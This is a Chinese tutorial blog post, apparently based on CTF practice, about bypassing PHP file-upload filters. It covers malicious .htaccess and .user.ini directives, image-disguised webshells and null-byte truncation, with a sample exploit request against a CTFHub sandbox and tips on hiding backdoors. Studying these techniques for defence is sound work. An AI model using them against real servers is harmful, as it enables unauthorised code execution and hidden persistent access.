文件上传 .htaccess 与.user.ini
创始人
2024-06-02 15:36:18
0

1、.htaccess

1使用方法,上传.htaccess文件内容如下


SetHandler application/x-httpd-php

​
匹配文件名为“shell”的文件,该文件作为可执行程序解析

或者

AddType application/x-httpd-php .jpg
​
​
jpg文件作为可执行程序执行

2再上传shell.jpg

GIF89a

3访问shell.jpg文件

2、.user.ini

方式使用限制,在上传的目录中必须包含php文件,例如index.php

1上传.user.ini文件,内容为:

GIF89a                  
auto_prepend_file=1.gif

加载1.gif文件

2上传1.gif文件

GIF89a

3 访问同目录中的php文件,例如index.php ,先通过本目录中的配置文件.user.ini进行加载1.gif文件从而达到加载后门的目的

3、00截断

00截断有限制,php版本得低于5.3,并且GPC得关闭,一般在url上。 两种,%00和0x00,后台读取是遇到%00就会停止。 举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。

POST /?road=/var/www/html/upload/1.php%00 HTTP/1.1
Host: challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------47182109526658916741339492122
Content-Length: 369
Origin: http://challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080/
Upgrade-Insecure-Requests: 1
​
-----------------------------47182109526658916741339492122
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg
​

-----------------------------47182109526658916741339492122
Content-Disposition: form-data; name="submit"
​
Submit
-----------------------------47182109526658916741339492122--

4、.htaccess

.htaccess是什么

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 ​ 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。 ​ 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。 .htaccess文件可以在网站目录树的任何一个目录中,只对该文件所在目录中的文件和子目录有效。

注意:

1、子目录中的指令会笼盖更高级目录或者主器配置中的指令。 如果 .htaccess 文件保存在 /apache/home/www/Gunjit/ 目录,那么它会向该目录中的所有文件和子目录提供命令,但如果该目录包含一个名为 /Gunjit/images/ 子目录,且该子目录中也有一个 .htaccess 文件,那么这个子目录中的命令会覆盖父目录中 .htaccess 文件(或者目录层次结构中更上层的文件)提供的命令。

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

2、.htaccess必需以ASCII模式上传,最好将其权限设置为644。 3、使用.htaccess文件,会降低httpd服务器的一点性能

为什么要使用.htaccess

很多网站都是租用服务器和虚拟主机的,其服务器的配置我们并不能改。当我们有特殊要求时,比如定义最简单的404(页面未找到)的错误页面,我们就只能通过apache配置的扩展配置(或者说是子配置)来更改扩展原服务器的配置。这个配置就是.htaccess文件,他是apache下的http.conf文件的延续。

如何启用.htaccess

要在服务器上使用.htaccess文件配置,必须要求服务器开通对于的支持。两个条件:1.mod_rewrite模块开启;2. AllowOverride All, 如何配置:

  1. 启用AllowOverride。打开httpd.conf, 将工作目录下的AllowOverride None 改为AllowOverride All。

ServerName www.nhs.comServerAlias nhs.comDocumentRoot D:/projects/htdocs/nhs/nfs_cmsOptions +Indexes +Includes +FollowSymLinks +MultiViewsAllowOverride AllRequire local

2.. 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可。

  1. 重启apache

一般情况下,不应该使用.htaccess文件

一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。建议把用户认证写在主配置文件中,而且是一种很好的方法。

.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。

虽然如此,一般都应该尽可能地避免使用.htaccess文件。任何希望放在.htaccess文件中的配置,都可以放在主配置文件的段中,而且更高效。

避免使用.htaccess文件有两个主要原因

1、首先是性能。 如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,因此,无论是否真正用到,启用.htaccess都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess文件。还有,Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用, 所以,如果请求/ctusky/ctu/sky中的页面,Apache必须查找以下文件:

/.htaccess
/ctusky/.htaccess
/ctusky/ctu/.htaccess
/ctusky/ctu/sky/.htaccess  一共就要访问4个额外的文件,就算这些文件都不存在,这也是本文开始说会影响服务器的一点性能的原因

2、其次是安全。这样会允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,所以请认真考虑是否应当给予用户这样的特权。

注意,在/www/htdocs/example目录下的.htaccess文件中放置指令,与在主配置文件中段中放置相同指令,是完全等效的。
​
/www/htdocs/example目录下的.htaccess文件的内容:
AddType text/example .exm
httpd.conf文件中摘录的内容:   
   
AddType text/example .exm   
但是,把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。 将AllowOverride设置为none可以完全禁止使用.htaccess文件:   
AllowOverride None

参考文献:

Apache服务器中的.htaccess文件的配置_www.test.cn_kakuma_chen的博客-CSDN博客

5、.user.ini

那么什么是.user.ini?

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:PHP: php.ini 配置选项列表 - Manual 这几种模式有什么区别?看看官方的解释:

 

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

 

auto_append_fileauto_prepend_file,点开看看什么意思:

 

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

 

 

访问echo.php即可看到后门:

 

Nginx下同样:

 

 

那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

参考文献

.user.ini文件构成的PHP后门 - phith0n

相关内容

热门资讯

安卓系统底层组件卸载,揭秘卸载... 你有没有想过,你的安卓手机里那些看似无关紧要的底层组件,其实有时候就像那些藏在衣柜角落里的旧衣服,虽...
安卓系统支持更新系统吗,与时俱... 你有没有发现,你的安卓手机最近是不是有点儿“老态龙钟”了?别急,别急,让我来告诉你,安卓系统支持更新...
主机刷安卓tv系统教程,主机刷... 亲爱的玩家们,你是否厌倦了主机上的传统操作系统,想要给游戏生活来点新鲜感?别急,今天我要给你带来一个...
小米8原生安卓p系统,极致性能... 亲爱的读者们,你是否也像我一样,对手机系统更新充满期待?今天,就让我带你一起探索小米8的神奇之旅——...
安卓11更新系统权限,深度解析... 你有没有发现,最近你的安卓手机好像变得聪明多了?没错,这就是安卓11更新系统权限带来的神奇变化!今天...
领动安卓系统导航盒,智能出行新... 你有没有想过,家里的电视竟然也能变成智能导航的小助手?没错,就是那个领动安卓系统导航盒!今天,就让我...
式神赠送系统安卓,畅享奇幻之旅 你知道吗?最近在安卓平台上,有一个特别有趣的式神赠送系统,简直让人爱不释手!想象每天都能收到各种可爱...
安卓能刷米柚系统,米柚系统刷机... 你有没有想过给你的安卓手机换换口味?没错,就是刷机!今天,我要给你详细介绍安卓手机如何刷上米柚系统,...
小屏安卓旗舰流畅系统,揭秘小屏... 你有没有发现,现在手机市场真是热闹非凡啊!各种新机层出不穷,让人眼花缭乱。不过,今天我要给你安利的这...
如何制作音乐墙安卓系统,安卓系... 音乐爱好者们,你是否曾梦想过拥有一面充满个性与活力的音乐墙?在安卓系统上,这不再是遥不可及的梦想!今...
安卓软件转换到苹果系统,跨平台... 你有没有想过,从安卓转到苹果系统,这不仅仅是一次操作那么简单,这可是你手机生活的一次大变革呢!想象那...
kindle转换安卓系统吗,解... 亲爱的读者,你是否曾经想过,那陪伴你无数个夜晚的Kindle电子书阅读器,能否与你的安卓手机无缝对接...
安卓手机苹果系统主题,体验非凡... 你有没有发现,现在手机的世界真是五彩斑斓,各种主题层出不穷,让人眼花缭乱。今天,咱们就来聊聊安卓手机...
安卓系统需要清理后台吗,后台清... 你有没有发现,你的安卓手机越来越慢了?是不是觉得打开应用都要等半天,甚至有时候还会卡住?别急,今天就...
安卓12系统通知栏,智能交互与... 你有没有发现,最近你的安卓手机更新到了安卓12系统?别小看了这个小小的更新,它可是给我们的手机生活带...
杂牌手机是安卓系统,性能与性价... 你有没有想过,为什么市面上那么多手机品牌,而你却对那些杂牌手机情有独钟呢?没错,说的就是那些安卓系统...
owlenz投影仪安卓系统,功... 你有没有想过,在家庭影院或者户外露营的时候,拥有一台投影仪是多么的酷炫啊!想象大屏幕上播放着你的最爱...
使命召唤手游安卓系统,安卓用户... 亲爱的手机游戏爱好者们,你是否曾在某个午后,无聊地刷着手机,突然眼前一亮,看到了一款名为“使命召唤手...
禁用安卓系统手势的模块,安卓系... 你有没有发现,手机操作越来越复杂了?有时候,那些手势操作简直让人头大!不过别担心,今天我要给你介绍一...
安卓系统禁入中国,安卓系统禁入... 你知道吗?最近有个大新闻在科技圈里炸开了锅,那就是安卓系统竟然被禁止进入中国市场了!这可真是让人大跌...